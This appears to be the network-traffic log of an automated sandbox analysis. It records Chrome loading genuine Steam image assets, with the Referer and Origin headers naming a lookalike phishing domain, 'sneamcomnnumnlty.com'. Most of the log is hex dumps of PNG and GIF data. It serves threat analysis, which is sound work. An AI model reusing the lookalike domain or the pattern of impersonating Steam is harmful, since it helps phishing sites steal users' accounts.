2024-10-06 12:08:24 UTC	3777	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f4 00 00 00 d4 08 06 00 00 00 ab 83 0e c8 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 0e 63 49 44 41 54 78 da ec dd 5f 4c 54 67 1a c7 f1 77 fe 69 d0 91 ba 10 0b 8a 8b ae cb 56 6d 6b 82 36 58 bb eb 9f 86 a6 b5 69 bb b2 46 db 8b 8a 7b e9 ae ed c5 5e b6 d9 5e 34 4d 7a d1 9b 9a 36 6d 6c 9a b4 6e 62 20 5d 12 b1 80 d6 88 65 bb 61 13 c5 ed da 76 a7 fe 29 ac a0 05 61 05 45 06 29 03 23 03 c3 3e ef 30 d0 33 67 06 4b 77 77 38 2f 93 ef 27 79 02 67 86 8b c9 f0 fc ce fb 9e 73 66 de e3 1a 1f 1f 57 00 32 83 9b b7 00 20 d0 00 08 34 00 02 0d 80 40 03 04 1a 00 81 06 40 a0 01 10 68 00 04 1a 20 d0 00 08 34 00 02 0d 80 40 03 20 d0 00 81 06 40 a0 01 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<cIDATx_LTgwiVmk6XiF{^^4Mz6mlnb ]eav)aE)#>03gKww8/'ygsfW2 4@@h 4@ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49766	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	599	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:24 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:24 GMT Connection: close
2024-10-06 12:08:24 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49773	2.19.126.133	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:24 UTC	683	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sneamcomnnumnlty.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	1696	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: fe 9b cd e2 cc 17 95 7c 51 64 37 a8 b4 95 e3 57 2c a8 48 45 2a 52 91 8a fc 7b 85 4c 06 54 d1 32 9f 96 77 d1 72 0e 2d ab c0 31 4c 41 2a 17 47 3a 9b 40 ef c4 be 74 95 b7 c9 d5 52 b5 e0 7b 55 de fa 7b 08 58 0e 2b aa 7a dc 5f 9c 0a b0 54 a4 22 15 a9 c8 ff c5 71 41 8b 8f 96 d9 b4 ac a6 65 23 2d 67 d2 e2 32 18 91 80 32 cb 62 7c 44 96 0b 28 aa 79 68 1c 4b 70 f5 4e 1c c0 70 ec e8 67 3a 6a 57 7e b8 a3 6e c5 b5 b4 c1 07 d4 e3 1c 5c 2a c0 52 91 8a 54 a4 22 9a 30 ff 6a 3d 2d 8b 68 59 4f cb d9 b4 cc e1 df a8 06 c6 e8 6e 36 41 77 b3 41 2d 79 cc 04 c3 85 c8 5e 05 ed 2f e6 7f b3 08 56 e4 8b 59 bc dd f7 ba 4f 51 e4 fb db 6b 57 a8 c4 5c 1e 2c ff b2 02 2c 15 a9 48 45 2a f2 8f 2e 2c f2 17 a6 a5 9d 96 35 3a 80 ac 99 b1 46 39 8c 04 41 d1 fe 10 b4 00 d1 3b e8 0c 87 12 41 7b 37 Data Ascii: \|Qd7W,HER{LT2wr-1LAG:@tR{U{X+z_T"qAe#-g22b\|D(yhKpNpg:jW~n\RT"0j=-hYOn6AwA-y^/VYOQkW\,,HE.,5:F9A;A{7
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 8f 5e 8b 33 97 7a d0 b7 f9 75 60 ef 30 9c 6b 5c 28 8a 56 c8 05 81 d7 85 b0 00 7c 8a f4 64 71 32 ce 5d 32 22 29 9d dc f0 08 82 0b 9a d0 2f ca 70 a5 27 11 f1 55 61 64 f7 3e 14 2f b8 10 31 b9 00 d7 0b cf 63 9c ac f7 f3 bb 8e a0 b6 b6 0e 0f 2d 5f 0a 89 06 c3 c6 8b 2f c4 38 29 d5 d1 9b b6 22 bf fa 34 34 2f 5d 8d c2 f8 28 ea f7 bd 0c db c8 36 e4 2e f8 20 6a da 67 63 4a ce 20 98 b3 e1 05 4c a3 2d 4b 96 69 4d 3d 36 5b 0b d8 39 3c 80 65 cc 92 52 44 ad 10 8d b9 85 58 fb 71 02 17 b6 30 97 01 ab 19 61 83 29 93 e6 65 61 f0 78 14 a6 5d b9 65 e9 70 17 60 a1 41 97 ed 14 70 ee 79 12 2e fa a3 03 67 5f 95 26 70 2c e2 0f 3f f6 a0 f3 40 01 77 3d ac e2 e1 a7 0b 88 86 bd 38 f7 d4 22 d6 2e 0d e0 f5 1d 56 8c c6 54 3c 72 ab 82 bf 6c 27 65 10 53 08 f2 58 81 26 77 d6 f3 ce c6 8c 4f Data Ascii: ^3zu`0k\(V\|dq2]2")/p'Uad>/1c-_/8)"44/](6. jgcJ L-KiM=6[9<eRDXq0a)eax]ep`Apy.g_&p,?@w=8".VT<rl'eSX&wO
2024-10-06 12:08:25 UTC	4730	IN	Data Raw: db a9 9b e0 f7 38 88 9d 98 f0 c2 8e 23 38 f9 f4 13 69 13 85 d1 d5 db 0e 7f 57 2f ec a1 26 58 fd 1e a8 b2 04 ab b7 93 07 69 dd 5e 0f ba 7b 5b 70 78 72 14 47 47 c6 d1 e4 35 c2 64 97 50 71 ad 20 36 93 80 94 11 d1 e6 b3 22 44 80 b0 ac db 86 47 7f 7d 00 16 da 58 23 09 60 74 3a 43 c6 c6 8a 92 6a 45 41 e8 25 d0 76 60 be 98 45 2e 3b 06 39 13 45 ff 86 d5 58 b7 61 15 b1 a8 2c 67 51 15 bd 1a 88 57 75 b1 b0 18 5d 33 3e 8e 96 cf 28 61 c0 42 bc 91 bc 68 89 0d d6 62 a1 0f 49 33 b0 8a de ef 20 aa 75 03 64 22 03 9a cf f1 52 df 8f d3 df b6 1c 93 e0 fe 83 e5 3e d8 0f fa 6c 06 20 12 9d 0f 3b 70 f2 58 10 a2 a3 ea 21 2f 7f 85 64 10 4f 28 14 4a 6b cc 06 69 b5 d7 69 37 bd b4 e3 15 34 35 87 50 2c 54 78 c5 61 d5 dc 18 8c 46 7d dd e9 7a 58 a2 3e 0c 4a 57 f1 85 ce 54 ca 65 01 1f f8 Data Ascii: 8#8iW/&Xi^{[pxrGG5dPq 6"DG}X#`t:CjEA%v`E.;9EXa,gQWu]3>(aBhbI3 ud"R>l ;pX!/dO(Jkii745P,TxaF}zX>JWTe
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 31 74 b6 f8 b9 52 b0 c8 e5 ef 99 92 2d cb 5f 49 82 c4 c1 92 ff 34 b2 10 a5 91 b3 18 e6 e1 33 10 32 1a 2d 5a ee 80 01 35 31 16 b7 9b 40 85 80 9c 31 17 36 07 c6 66 73 a0 20 97 b4 fb a5 cf 46 b1 1a 4d 16 17 ab 56 63 55 49 ac 2c 99 96 a5 59 34 21 93 3e 00 d9 64 86 d7 e9 20 c3 56 c1 0c 31 cd f6 35 e7 62 a1 f7 2c a4 0e ed c1 f5 7f 74 1d f6 ed d9 8d 03 fb 8f e0 96 9b df 87 15 2b fa b1 e5 d6 db 10 08 34 41 4e c6 11 9f 0f d3 b9 99 f1 f3 9f df 8d 3b ee 7e 18 ab 97 77 72 60 cb ca 39 72 16 9a e8 dc 27 d1 dd 72 94 40 f9 2a 74 f4 f4 f2 70 d9 b2 be e5 dc e0 4c ce ce c0 d3 14 ac 19 16 5e c4 c0 94 00 78 55 a2 de 49 0d 6d 32 aa 91 29 24 9c 7c 3e b6 3c 70 0f 4a 8b 47 f9 18 5f 83 c9 c2 8b 43 d8 f3 98 ca 02 0f 97 e9 15 8d a8 4e 59 34 0b 5a 75 1d 2b 55 27 b0 0d 4f cf a1 7f e5 Data Ascii: 1tR-_I432-Z51@16fs FMVcUI,Y4!>d V15b,t+4AN;~wr`9r'r@*tpL^xUIm2)$\|><pJG_CNY4Zu+U'O
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 7d 96 95 e9 34 f0 6a 8d c6 61 56 e0 b1 66 51 49 8e a5 84 fe 3d bb bc 0c 76 73 1a 6e bb 05 6b 56 2c 42 40 4a c1 e9 76 21 3a 36 81 b8 3f 88 2a 42 0b e6 33 96 23 7e 68 0f e2 7d 47 b0 61 cb 16 f5 58 f8 3e 51 f0 61 24 54 be 40 ca c2 44 c8 c5 cf ac 1a a5 5e b5 fe 23 72 a8 59 55 8d 35 95 56 1d 39 43 e1 aa 32 72 24 ed 90 1a 1a 61 98 49 df 99 ea a5 a6 01 86 ca 2a c0 e3 16 7a 34 82 f0 93 d3 60 ac c1 c3 2a a2 84 64 0c 3c 00 4c 88 df 40 9f 67 a6 f7 1f a6 e0 51 0a 1a 44 7d 2c e8 89 21 6d cc c2 92 36 16 a7 03 4f d6 eb 95 4f 89 4d 53 91 94 4e f8 d3 53 8e e5 bd f6 b0 f8 9a e0 3b e7 36 fc cb 99 e5 14 d5 38 44 5b 63 34 1a 16 0c ba 03 3d 07 84 aa e0 f0 e8 30 9c 64 8c 9b 08 ad 74 53 84 1f 4b 27 f0 dd 6f dc 8b bb ee b8 03 b5 f5 ed b4 89 9c 30 64 43 88 12 9c 1f 19 66 a2 c4 0c Data Ascii: }4jaVfQI=vsnkV,B@Jv!:6?B3#~h}GaX>Qa$T@D^#rYU5V9C2r$aIz4`*d<L@gQD},!m6OOMSNS;68D[c4=0dtSK'o0dCf
2024-10-06 12:08:25 UTC	7952	IN	Data Raw: 60 4d cf 9d 0a 33 1c 27 71 15 f2 b8 6d 3e 29 88 08 07 9b 10 c9 f7 4f c9 e8 b0 c1 bf ea ad 6f c3 82 05 0b c9 01 e9 43 fb 8c 19 98 d6 5a 8f fd 3d 49 ac 7a cd d9 78 e2 d1 7b b0 6d cb 7a 5a 5f 29 32 bc 5e 32 c6 61 b8 5c 75 74 bc 59 da 5f 9d 65 c7 e3 e3 48 26 c7 09 74 b9 79 d4 2e b9 27 7d ed a8 72 6e 1f 7e 64 35 a2 d1 31 6c d9 b6 03 6b d6 ac a3 ef f0 62 ff be dd 72 9f a4 08 e4 dd 9e 2a b9 ee 36 09 61 99 4d 9f 05 61 17 6e 27 83 b7 0d b9 0c 27 e8 b3 46 49 b9 b7 1c f6 b2 d8 27 3d 57 67 94 74 6b 8a 05 74 2c a1 3e 72 12 6b 6b eb 50 53 53 2b 61 e4 a1 a1 21 91 a6 31 3f 7b 82 e6 58 d4 bf 0f d6 f1 12 25 c9 8f 87 fc 08 2f 3c ae c2 0a b2 ec 36 79 98 29 16 db a3 c5 94 cf c4 a0 e6 d3 48 0c 0e 22 3a 54 c0 c1 d1 41 84 fd 1e 9c 79 de 65 18 1e ec c6 a3 8f 3c 29 15 57 bd 07 9e Data Ascii: `M3'qm>)OoCZ=Izx{mzZ_)2^2a\utY_eH&ty.'}rn~d51lkbr*6aMan''FI'=Wgtkt,>rkkPSS+a!1?{X%/<6y)H":TAye<)W
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 17 3f fa 9f eb 89 31 04 75 f1 c0 22 97 ed d6 88 6c f4 c8 d8 88 84 89 c2 fe 20 fc c4 56 78 1e 37 37 2c b2 06 18 33 19 ae ae 49 a7 72 b8 f4 4d 6f 46 03 81 53 ad ad 17 3b f7 f6 62 e1 d2 95 78 6c f5 5f 11 19 dd cf e3 29 30 73 9a 17 6e a7 07 75 fe 00 4e 3d 17 78 6c bd 0f 03 03 45 74 0d b9 d0 33 12 46 28 db 40 9e 13 2d 7a cf 22 d4 2f f5 23 46 1e 51 fd 49 8b d0 60 73 e0 77 f7 3c 27 06 83 13 f2 5c 82 39 9c 18 35 e2 fe 96 ce 6e 45 39 14 34 ca 25 4d af 4a d0 38 3a 70 68 47 c5 94 43 9c 67 e9 ce d7 4b 53 39 4c 69 86 83 dc e1 56 64 23 dd e8 7d ea 67 68 59 f9 1e 78 eb 3b 50 48 8e 49 39 aa 9e 10 41 99 55 48 b2 be 54 ef 54 96 87 61 d6 aa eb c2 94 0a 00 14 c3 52 2b 13 f6 b5 d4 cf a2 58 ba ed 61 f6 ae 98 d5 66 86 fc bd 0d 65 81 cc 09 07 a5 4c f2 ef 92 4e 32 bd d5 49 eb 31 Data Ascii: ?1u"l Vx77,3IrMoFS;bxl_)0snuN=xlEt3F(@-z"/#FQI`sw<'\95nE94%MJ8:phGCgKS9LiVd#}ghYx;PHI9AUHTTaR+XafeLN2I1
2024-10-06 12:08:25 UTC	3702	IN	Data Raw: a1 b4 3f 00 37 d9 1b 35 6c 30 0e c7 d1 54 53 8a 89 93 66 e3 fd 77 df c7 a6 81 7e ae 6a f0 e2 f3 4b 31 c7 aa 41 f3 11 53 f0 dc db ab d0 bd 7c 0f 1c f3 0f 43 4d fd 14 79 50 da 21 cb 58 b2 5f 0c d0 38 e0 b7 cb 8a bf 04 1e 8b e6 4e e5 cf bc f1 ca 72 58 cb 1a 71 c6 71 f3 08 54 92 8a 8e 7c 14 e9 88 a5 e5 31 ab 8c c5 44 a3 11 4c 6c ae a5 c7 45 b8 e4 bc 53 b0 b7 ab 1b f7 10 40 3d f0 e0 d3 08 93 c7 91 d4 1b c8 40 eb 60 2a 75 42 95 95 7a 3c f2 15 c9 72 39 d1 a8 5a 1b 61 2c a9 f1 03 ab 1a ca a2 d0 85 99 a1 47 65 ad 0b 3f fc d1 b7 69 c3 07 78 ff 43 ae 5b 3e 46 14 bb c4 65 c6 3f ff 7e 23 4e 38 e6 1d fc f5 f7 3f 83 cf eb c7 15 df f9 1a e6 4c 69 e6 93 f8 06 e9 df cf bc fc 16 ae bc e1 56 c4 bb b6 e3 eb 97 5c 85 ef 7f f7 6b f0 fb bc 3c fe cd 2a 72 6e ba e5 76 68 dd 65 10 Data Ascii: ?75l0TSfw~jK1AS\|CMyP!X_8NrXqqT\|1DLlES@=@`uBz<r9Za,Ge?ixC[>Fe?~#N8?LiV\k<rnvhe
2024-10-06 12:08:25 UTC	16384	IN	Data Raw: 47 d1 a3 fc 43 a5 d1 22 3c 30 80 33 ce 39 19 d7 5e 75 09 af de 2a 9a ce 97 1f 58 25 cb 9b e7 44 38 b3 62 5e 3f 8c e5 7b 98 50 65 55 75 39 ef 11 61 13 23 3b f6 f6 e0 f7 7f bd 0f e7 5e 7c 2d fa 77 ee 86 73 7c 33 8f 8d 16 00 e5 c3 12 e5 1f 35 7f 31 96 3a b4 f0 11 0c f1 e7 10 8e 3a 28 ec e2 d3 0b bd 15 12 a4 42 be df 85 97 25 6b 0d 52 ce 65 68 1b 5f e7 3a 47 1d 07 1a 06 40 85 f9 31 42 3e 27 26 2a 12 65 b2 88 0a d7 88 9b 3f ad 12 8b 66 cf c0 f3 cf bf 0c af b7 0b 6a 62 44 b3 66 1c 89 da da 3a 04 86 7d 08 78 fb d0 bd a7 0d 1f 6c d9 8a 8d db b6 63 c3 96 6d e8 f7 fa 60 21 e3 3d ae ae 09 d5 0d 93 89 d5 a7 e9 77 1f 20 9e 4a e0 f2 ab 6e c0 c3 ff fa 2b 4a 5d 25 e8 e9 ea 24 a0 53 17 42 b9 f2 52 60 22 95 cc f8 ab d5 7a 5c 76 e9 7f 61 d3 96 5d 68 3c 66 01 bd 3f 04 8f a3 Data Ascii: GC"<039^uX%D8b^?{PeUu9a#;^\|-ws\|351::(B%kReh_:G@1B>'&e?fjbDf:}xlcm`!=w Jn+J]%$SBR`"z\va]h<f?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49776	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	575	OUT	GET /public/images/blank.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 807 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-327" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	807	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f7 00 00 ff 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: GIF89a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49777	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	420	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	291	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0f 00 00 00 0d 08 06 00 00 00 76 1e 34 41 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 c5 49 44 41 54 78 da 62 f8 ff ff 3f 03 1e cc 03 c4 93 80 f8 39 10 7f 03 e2 5d 40 ac 0f 93 c7 a7 91 1d 88 4f fc 47 80 bf 40 fc 05 88 3f 02 b1 3a 21 cd 05 48 1a 0f 03 b1 1c 54 dc 1a 88 7b 09 69 3e 88 a4 59 1e 4d ce 0c 9b 66 66 a8 1f 57 01 f1 27 a8 c6 5f 50 3e 08 ab 21 a9 c3 6a b3 03 10 ff f9 8f 09 26 a3 ab c5 e5 e4 0a 34 8d 27 81 98 8d 58 cd 8c 40 bc 19 aa f1 0d 16 3f c3 35 83 e2 6d 37 10 df 45 c2 97 81 58 17 ca f6 04 e2 45 68 f2 20 f5 06 0c 50 85 d8 c0 51 20 16 03 e2 12 1c f2 d7 18 fe e3 07 20 a7 ff c6 25 09 f2 db 03 06 06 06 79 06 d2 c1 63 Data Ascii: PNGIHDRv4AtEXtSoftwareAdobe ImageReadyqe<IDATxb?9]@OG@?:!HT{i>YMffW'_P>!j&4'X@?5m7EXEh PQ %yc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49781	35.190.80.1	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	551	OUT	OPTIONS /report/v4?s=GXm3Z2u9OX48XvtdVcGZUJ8V4uxwbrgSOmzzO3JKWSuZZirJzCyp3u%2BuHxmegxxhRSenosDiXgxKCQc0osM20UAj%2Fglzmdf4bWx2uBjiI4WXDdzYgDcUDu7jixG2ZcuSKfKi%2Fu5o7A%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://sneamcomnnumnlty.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Sun, 06 Oct 2024 12:08:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49779	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:25 UTC	589	OUT	GET /public/images/account/wallet_icon.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:25 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 3412 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-d54" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:25 GMT Connection: close
2024-10-06 12:08:25 UTC	3412	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 2e 00 00 00 2e 08 06 00 00 00 57 b9 2b 37 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR..W+7pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49780	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
